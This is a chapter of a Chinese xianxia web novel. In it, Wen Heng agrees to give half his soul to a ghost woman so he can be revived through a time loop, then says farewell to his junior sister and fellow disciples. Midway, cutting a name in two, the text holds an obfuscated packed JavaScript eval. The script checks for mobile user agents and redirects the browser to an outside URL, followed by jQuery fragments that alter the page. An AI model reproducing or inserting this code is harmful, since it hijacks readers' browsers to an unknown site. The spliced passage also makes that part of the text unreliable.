“你来了。”


    不是“你来这做什么”，而是履约一般对他，说：“你来了。”


    闻衡的心中有一个奇异的念头冒出来。


    会不会，会不会这里真的有他想知道的东西？


    “我来了。”


    他语气坚定地说。


    亡女没有露面，她的声音响在飘渺的空中。


    “一百多年前，你突然出现央求我办事，要我在某日助你复活。我答应了，没想到你真的会来。”


    果然是这么回事。


    “所以你有办法让我复活？”


    “有啊。我这里有你当年留下的残魂，只要你甘心将你的魂魄一半献给我，我就有办法送你回到过去，再把这里的你复活。”


    “这是过去的你答应的条件，我要你心甘情愿将你的半魂献给我。”


    闻衡没想到复活的办法竟然这么轻易就得到。


    他有些慌，但又不想错过这个唾手可得的机会。


    “你说的是真的？我凭什么相信你，万一你骗我……”


    “我没必要骗你。而且，是当年的你自己来求我，走一步，跪一步，求我复活你，让你师妹安心。”


    亡女在虚空中推送一盏魂灯过来，里面燃烧的，正是他灵魂的残片。


    “你不信我说的，看到这个总该信了吧？”


    “它从你的魂魄中分割，是你亲手送来的。”


    闻衡：“……”


    “你要我一半的魂魄，会影响我复活吗？”


    “不会，你应该知道很多魂魄被魔兽吞噬的修士。他们不是活得很好？”


    闻衡的确见到过半魂的修士，他们与常人无异，不过修炼境界上艰难一些。如果复活需要付出的代价是这个的话，那他没什么可迟疑的。


    但他还是奇怪。


    “你一个离不开死河之境的人，要我的魂魄能干什么啊？”


    他知道纯净之魂特殊，但不是只对修炼有助益吗？不需要修炼的人要这个有什么用？他真的觉得太奇怪了，瞌睡送枕头这种事就很可疑，但亡女手中的魂魄真的就是他的。


    如果她在说谎，她是怎样得到的？


    他的魂魄，除了他亲手奉上，没有第二种获取的可能。


    亡女道：“你应该见过长生兽。”


    “你怎么知道？”


    “你看到了，世间不再有永恒。我和它是同样的处境，所以我需要纯净之魂活下去。而你送我一半，你自己还有一半可活。回去好好想想吧，当年是你用永恒诱导我答应你的，如今却不认账了。”


    “当年的你已然半魂，应该是已经和我做了交易才对。”


    “我有耐心等你。我已经等你这么多年了。”


    “……”


    闻衡抱剑思索。


    “你打算怎么复活我？”


    “用魂灯里你留下的残魂。”


    “……”


    “会影响到我的转世吗？”


    “你担心这个？”亡女意外地变了声音，“不必顾及你的转世，我复活你用这盏残魂足以，不会影响到你的另一半。”


    “他是我的另一半？”


    “是啊，是除了残魂，你献给我的魂魄以外剩下的那一半。”


    亡女道：“无论你怎样想，所有的因果都已写好。你无法违抗过去的你所书写的命运。”


    闻衡踏上素微剑：“我没想违抗。”


    “我回去交代一句，很快就回来。复活的事，你可以开始准备了。”


    幻星崖。


    赵前叶在住处翻阅姜扶生从云霄天宫带回的古籍。


    “这些书是姬泽羽翻出来的，听说是你要借，他答应得很果断。”


    “……”


    赵前叶分神想了一下“姬泽羽”是谁。


    然后想起最后一次见他是在鸿蒙仙会，他败于嵇晨钟剑下，神情空洞迷茫。


    “他如今如何？”


    姜扶生道：“姬离愁将他当成废物以后，他轻松很多，现在日子过得算是滋润。说要感谢嵇晨钟，也感谢你。你做了什么？”


    赵前叶道：“没做什么，我在看书，你别吵我。”


    姜扶生脸色黑了下去。


    “那小子在外面没有音讯，你不管了？”


    “师兄外出一贯如此，不必你我忧心。”


    “你还真是放心。”


    “可以闭嘴了。”


    “……”


    姜扶生拎起药箱怒气冲冲往外走。


    恰巧闻衡御剑回来，明快地跟他打声招呼：“扶生！”


    姜扶生：“……”


    他瞪了闻衡一眼，没吭声，只留下一个闷气的背影。


    闻衡走进屋子，迎面扑来的是浓苦的药味，过去师妹房里都是栀子花的香味。


    没关系，他会回来，她也会好起来的。


    “我回来了，师妹。”


    赵前叶嚼着丹药，投入看书，没抬头但手伸过去摸了摸他的下巴。


    “回来了，师兄。”


    闻衡凑她身边，好奇她的专注：“你在看什么呢？”


    “送你回去的办法。”


    “看到了吗？”


    “还没。”


    赵前叶被他贴得闭了闭眼，只好侧过头，与他额头相抵。


    “怎么，你在外面遇见什么了？”


    “师兄我找到让你开心的办法了。”


    “你找错了。”


    她将他推开一些，继续看书。


    闻衡不甘心，顽强窝在她身上：“你都没听我说，就说我找错了！师妹！你看看我啊！”


    赵前叶道：“师兄你在不安。”


    “能让我开心的东西，一定不会让师兄不安。你是又想到办法闯祸了吧？从现在开始不许你出门了。”


    “啊？不行，我得出去，我是想到办法把你死的师兄换回来了！”


    “出去逛一圈就能逛到的办法，一定是骗子，不要信。”


    “师妹！”


    他喊了一声，赵前叶才把书放下，视线投过来。


    “……师兄。”


    闻衡郑重其事按着她肩膀：“不要把所有的担子都压在你的肩膀上，不是所有的事都必须你做。”


    “你管太多了！会累坏自己的！”


    “……”


    赵前叶望着他：“嫌我管的多？”


    闻衡要吓死了：“没！我没！”


    “我不是这个意思！师妹！你说什么呢！我怎么会嫌你管得多，我恨不得你整颗心只想着我的事……也不用只想，我希望你能更多考虑你自己！”


    “反正就是嫌我烦。”


    “快，来亲一口！嘛！”


    他用力亲了师妹一下，撒娇：“你别这样，师妹，前叶。你知道我的呀，知道我的对吧？我不喜欢你把所有事都顶在自己身上的感觉，你是我师妹，你该躲我后面才对。”


    “我不要。”


    “那我也不要躲你后面。我说了，你也答应我了，我会把你师兄带回来。你相信我，好吗？”


    闻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101298|161116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衡笃定道：“之后我就回去我那时候了，你的师兄也复活回来，一切就回到正轨，很简单的。”


    “……”


    赵前叶有些动容：“你找到的办法是什么？”


    闻衡笑道：“师妹，这都是命。”


    “我就该在一百多年前死一回，也该在这时候来一遍这个时间。一切都注定好，形成回环了。我回到过去以后，保留一丝残魂埋藏至今，这都是过去的我已经做完的事。接下来就是你面前的我要把那些事再做一遍。”


    “你没有被骗？”


    “不会的，我亲眼看过了，那就是我的魂魄，就是这么回事。”


    “……”赵前叶拿书的力道轻了轻。


    “我信师兄。”


    “乖。”


    闻衡起身，拍了拍坐出来的褶皱。


    “师兄走了？”


    “……”


    赵前叶沉默。


    片刻，她舒展眉头，朝闻衡笑了笑。


    “去吧，师兄。”


    “无论发生什么，哪怕是再有歹人将你带走——”


    “我都会，一点一点，一步一步把你找回来的。”


    闻衡去剑阁时脸还烫着，心跳扑通扑通快要跳出胸口。


    里外走了圈，没见到师父的影子。


    沈均澜告诉他：“师尊去琅月宗为师妹求药了。你找他什么事，直接传音便好。”


    闻衡摇头：“不必，我没什么大事，就是来见他老人家一面。”


    “师兄啊，你弟最后找到龙蛋了吗？”


    沈均澜一愣，回答他：“他死了，偶然得到蛇蛋，养大以后被吃的。”


    闻衡低了低头：“这么多年，真的可以发生好多事。”


    “我回去以后，会把这件事告诉你，让你和波弟小心应对的。”


    沈均澜颔首，却没把他的话当真。他有一句话想说，这是他和师尊一起发现的。但见闻衡行迹匆匆，师尊又在外面，便不着急将事说开。三言两语说不明白。


    闻衡又去拜访了二师姐，真不凑巧，她和道侣亲密呢。他笑着捂头跑开，还是被师姐用剑打了几下。


    四师妹则是在家喝酒，喝到不省人事，她的徒弟帮她处理师门的公务。


    看着那个和自己年纪差不多的少年人，闻衡突然想起师妹也收了个徒弟。


    他招呼那人：“你知道我师妹的徒弟在哪住吗？”


    令越风呆愣望着传闻中的闻师叔，“知、知道。”


    闻衡去到蔺锐意的住处。


    “原来是蔺坊主的儿子，她也有儿子了。”


    令越风努力微笑：“嗯，哈哈。”


    蔺锐意在院子里练剑，听到有人推门进来，回头，和令越风见到闻衡时如出一辙的表现。


    “师叔……”


    他尴尬地站在那。


    闻衡捏捏他的肩膀，又研究了一下他的剑。


    最后抬头对他笑：“我师妹麻烦你照顾了。你是她的徒弟，是除了我和师父，世上跟她最亲的人。你不能辜负她，要永远尊敬她。”


    蔺锐意老实点头：“好。”


    闻衡这一去，再想见到如今的师妹，可就要很久、很久以后了。


    但她的师兄，很快就会回来。


    他回到了死河之境。


    亡女披着黑斗篷，等候他许久。


    闻衡站着不动，他有点后悔。


    不是后悔来死河，而是后悔，他应该在离开前好好和师妹亲一顿的。


    那样才算告别呢。